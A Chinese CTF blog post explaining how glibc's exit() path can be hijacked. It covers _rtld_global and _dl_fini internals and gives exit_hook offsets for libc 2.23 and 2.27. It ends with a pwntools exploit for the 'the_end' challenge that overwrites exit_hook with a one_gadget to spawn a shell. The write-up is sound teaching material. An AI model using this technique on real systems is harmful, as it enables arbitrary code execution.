exit()在pwn中的利用 之前听说过利用exit在什么函数上锁时覆盖one_gadget达到getshell的作用,感觉类似于IO_file但是仍然不了解。今天看到了一篇很好的文章,借此机会学习并结合例题感受一下
exit()分析与利用-安全客 - 安全资讯平台
前置知识 析构函数 面向对象语言中创建一个对象时会调用对应类的构造函数,一般用于初始化对象,可以理解为析构函数就是构造函数的对立,就是在对象销毁时自动执行,主要负责清理。比如构造函数打开了 一个文件,析构函数就要关闭这个文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 class FileHandler {public : FileHandler (const char * filename) { file = fopen (filename, "r" ); } ~FileHandler () { if (file!= nullptr ) { fclose (file); } } private : FILE* file; };
虽然c不是面向对象语言,但是在c中的exit函数中,也有具有相同思想的析构函数
在exit()实际上就是对_run_exit_handlers()的包装,这个函数用于调用一个个析构函数,给整个程序擦辟谷。
命名空间 你可以把它想象成一个收纳盒,他把相关的变量、函数等等都装在一起,避免命名冲突。在c++中我们经常能看到using namespace std,他提供了输入输出算法等等很多功能,这就是命名空间。
同样是个面向对象意味很重的概念,在接下来的trld_global结构体中有体现
exit_funcs 我爱读源码(哭泣
首先exit()其实就是对_run_exit_handlers()的包装,后者里面保存了包含很多析构函数的链表,就是exit_funcs,每一个节点都有一个描述各个析构函数结构体数组fns[32],每一个结构体数组元素才保存了一个析构函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 struct exit_function { long int flavor; union //多个种函数类型中只会有一个有用, 所以是联合体{ void (*at)(void ); struct { void (*fn)(int status, void *arg); void *arg; } on; struct { void (*fn)(void *arg, int status); void *arg; void *dso_handle; } cxa; } func; };
而_run_exit_handlers()主要工作就是调用exit_funcs中保存的各种函数指针。
真他娘绕。如果不是写下了以上文字我都难以弄懂
劫持__exit_funcs链表? 前文所述,__exit_func作为一个链表,每个节点都通过数组保存了描述一个个析构函数的描述(包含析构函数的各种属性说明,方便程序处理各类析构函数,同时也包含析构函数本身的指针)
那我们能不能……劫持__exit_funcs链表?然后仿造析构函数结构体数组,再在数组里将对应的析构函数换成我们的函数执行?
打咩。析构函数指针是经过了加密的。在操作系统中我刚刚接触了全局段描述符表,在这里就排上了用场:控制寄存器fs存储的选择子指向的是tcbhead_t结构体,析构指针的异或加密参数就是fs:30 pointer_guard,话说这看起来是不是有点眼熟……没错!fs:0x28就是我们熟悉的canary值
如果要劫持__exit_funcs,还要泄露pointer_guard……更别提套娃接套娃的描述函数存储,一定程度上说这是不可行的。
rtdl_fini()到rtld_global 程序从start开始,start又会调用libc_start_main,而动态链接器的析构函数rtld_fini就是通过libc_start_main注册的。rtdl_fini实际指向dl_fini()函数,它位于ld.so中。当程序进行时,ld.so会通过dl_open()将所需文件映射到进程空间中,同时将所有映射文件记录在结构体_rtld_global中,当进程终止时,ld.so就通过dl_fini调用进程空间中所有模块的析构函数。
一言以蔽之,rtld_fini通过_rtld_globle执行所有析构函数,它是通过libc_start_main注册的,globle并没有被加密,所以我们可以通过劫持其上的函数指针来任意执行。
rtld_global结构体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 struct rtld_global { #define DL_NNS 16 struct link_namespaces { struct link_map *_ns_loaded ; unsigned int _ns_nloaded; struct r_scope_elem *_ns_main_searchlist ; size_t _ns_global_scope_alloc; struct unique_sym_table { __rtld_lock_define_recursive(, lock) struct unique_sym { uint32_t hashval; const char *name; const ElfW (Sym) * sym; const struct link_map *map ; } * entries; size_t size; size_t n_elements; void (*free )(void *); } _ns_unique_sym_table; struct r_debug _ns_debug ; } _dl_ns[DL_NNS]; size_t _dl_nns; ...; } 接着我们分析下struct link_map , 来看看ld 是怎么描述每一个模块的 ELF 文件都是通过节的组织的, ld 自然也延续了这样的思路,l_info 中的指针都指向ELF 中Dyn 节中的描述符, Dyn 中节描述符类型是ElfW (Dyn )struct link_map { ElfW(Addr) l_addr; char *l_name; ElfW(Dyn) * l_ld; struct link_map *l_next , *l_prev ; struct link_map *l_real ; Lmid_t l_ns; struct libname_list *l_libname ; ElfW(Dyn) * l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM]; const ElfW (Phdr) * l_phdr; ElfW(Addr) l_entry; ElfW(Half) l_phnum; ElfW(Half) l_ldnum; ...; } ElfW(Dyn)是一个节描述符类型, 宏展开结果为Elf64_Dyn, 这个类型被定义在elf.h文件中, 与ELF中的节描述对应 typedef struct { Elf64_Sxword d_tag; union { Elf64_Xword d_val; Elf64_Addr d_ptr; } d_un; } Elf64_Dyn;
值得一提的就是link_map中可能含有fini_array节,这个节里保存的就是该模块的析构函数,之后_dl_fini就是通过寻找fini_array调用析构函数的
_dl_fini()函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 void internal_function _dl_fini(void ){ #ifdef SHARED int do_audit = 0 ; again: #endif for (Lmid_t ns = GL(dl_nns) - 1 ; ns >= 0 ; --ns) { __rtld_lock_lock_recursive(GL(dl_load_lock)); unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded; if (nloaded == 0 || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit) __rtld_lock_unlock_recursive(GL(dl_load_lock)); else { struct link_map *maps[nloaded]; unsigned int i; struct link_map *l ; assert(nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL ); for (l = GL(dl_ns)[ns]._ns_loaded, i = 0 ; l != NULL ; l = l->l_next) if (l == l->l_real) { assert(i < nloaded); maps[i] = l; l->l_idx = i; ++i; ++l->l_direct_opencount; } ...; unsigned int nmaps = i; _dl_sort_fini(maps, nmaps, NULL , ns); __rtld_lock_unlock_recursive(GL(dl_load_lock)); for (i = 0 ; i < nmaps; ++i) { struct link_map *l = maps[i]; if (l->l_init_called) { l->l_init_called = 0 ; if (l->l_info[DT_FINI_ARRAY] != NULL || l->l_info[DT_FINI] != NULL ) { if (__builtin_expect(GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0 )) _dl_debug_printf("\ncalling fini: %s [%lu]\n\n" ,DSO_FILENAME(l->l_name),ns); if (l->l_info[DT_FINI_ARRAY] != NULL ) { ElfW(Addr) *array = (ElfW(Addr) *)(l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); while (i-- > 0 ) ((fini_t )array [i])(); } if (l->l_info[DT_FINI] != NULL ) DL_CALL_DT_FINI(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr); } ...; } --l->l_direct_opencount; } } } ...; }
贴原文的上来了,难以想象何等的强大才能写就这样一篇文章啊!
rtld_globle内有一个命名空间结构体数组,每一个命名空间内都用双向链表link_map管理了一大串模块,link_map内包含一个由elf节(比如.data .bss .text)组成的结构体数组l_info,结构体名为Elf64_Dyn,他是这样来描述节的:
1 2 3 4 5 6 7 8 9 typedef struct { Elf64_Sxword d_tag; union { Elf64_Xword d_val; Elf64_Addr d_ptr; } d_un; } Elf64_Dyn;
值得注意的是,在dl_fini中遍历模块的时候每个模块都会先执行一个上锁函数,这个很重要,记下来要考
rtld_global的结构也是重量级,自上而下就是命名空间结构体数组到模块链表到节描述符
前面说了_dl_fini就是通过rtld_global来找到各个模块的fini_array节的,接着就调用其中的析构函数指针
归纳一下 动态链接需要映射共享片段到进程空间内,动态链接器ld.so会通过dl_open()执行这一过程,同时将所有映射的文件(就是模块)记录到结构体***rtdl_global ***中,他就是我们利用的关键。_rtdl_global中有一个命名空间结构体数组_link_namespaces __,每个命名空间结构体数组中有一个描述模块的结构体链表*link_map ,每个节点中有一个节描述符数组 *Elf64_Dyn **,从中就能找到保存析构函数指针数组的节描述符fini_array,在进程结束时ld.so会通过dl_fini()从rtdl_global开始一路找到fini_array,最终执行其中的析构函数
然而不同于exit_funcs(),rtdl_global在遍历时没有经过加密,如果我们能修改其上的内容就可以成功劫持析构函数,执行我们自己的函数
从理论到实践 exit_hook——劫持上锁解锁函数 || __libc_atexit 前面提到过,ld_fini在遍历模块的时候都要先”上锁“,以免和其他进程竞争
1 __rtld_lock_lock_recursive(GL(dl_load_lock));
有意思,蠢比的是这个上锁和解锁函数指针是写在rtld_global里的……所以我们可以将其覆盖来getshell。
这时候有人就要问了,怎么找到rtld_global呢?它是记录在ld.so里的——孩子别怕,作为mmap的文件,它的地址与libc便宜固定——我们只需要一个任意写,加上可泄露的libc基址。我愿称之为2.34后hook的遗珍——exit_hook
翻了翻winmt佬的专栏,原来当年我早有见过,只不过当初才疏学浅,看得脑袋长包。现在终于理解了来龙去脉。
在libc-2.23中 __rtld_lock_lock_recursive = libc_base+0x5f0040+3848
__rtld_unlock_unlock_recursive = libc_base+0x5f0040+3856
在libc-2.27中
__rtld_lock_lock_recursive = libc_base+0x619060+3840
__rtld_unlock_unlock_recursive = libc_base+0x619060+3848
例题:the_end
pwn
五个任意读写,我们直接往exit_hook上覆盖one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *from LibcSearcher3 import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = 'pwn' def exec_fmt (pad ): p = process('./' +filename) p.sendlineafter("Enter your name: " , pad) p.recvuntil(b'Hello, ' ) return p.recv() ''' fmt = FmtStr(exec_fmt) print("offset ===> ", fmt.offset) ''' IP = '' debug = 0 if debug: p = remote('' , 10000 ) else : p = process('./' +filename) elf = ELF('./' +filename) def dbg (): gdb.attach(p) ubuntu16 = ['~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6' , '~/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6' ] ubuntu18 = ['~/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6' , '~/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6' ] libc = ELF('/home/marcel/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6' ) def leak (something ): rc = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b"\x00" )) success(something+"---->" +hex (rc)) return rc def leak_fmt (something ): rc = int (p.recv(14 ),16 ) success(something+"---->" +hex (rc)) return rc p.recvuntil("here is a gift " ) sleep1 = leak_fmt('sleep' ) libc_base = sleep1-libc.sym['sleep' ] success('libc_base--->' +hex (libc_base)) exit_hook = libc_base +0x7f138cb83f48 -0x7f138c594000 success('exit_hook---->' +hex (exit_hook)) one_gadget = libc_base + 0xef9f4 success('one_gadget---->' +hex (one_gadget)) for i in range (5 ): p.send(p64(exit_hook+i)) p.send(p8((one_gadget>>(i*8 ))&0xff )) p.interactive()
如果实在找不到exit_hook,p &_rtld_global,然后看一眼rtld_global+3840左右的位置
关闭了标准输入,所以还要重定向一下
翻了winmt的文章之后发现还有一种很方便的利用方法,__run_exit_handler函数除了会调用ld_fini,还会引用一个叫做 libc_atexit 的函数指针,更棒的是这个函数在libc而不是ld中,但是他是无参调用,只能上one_gadget。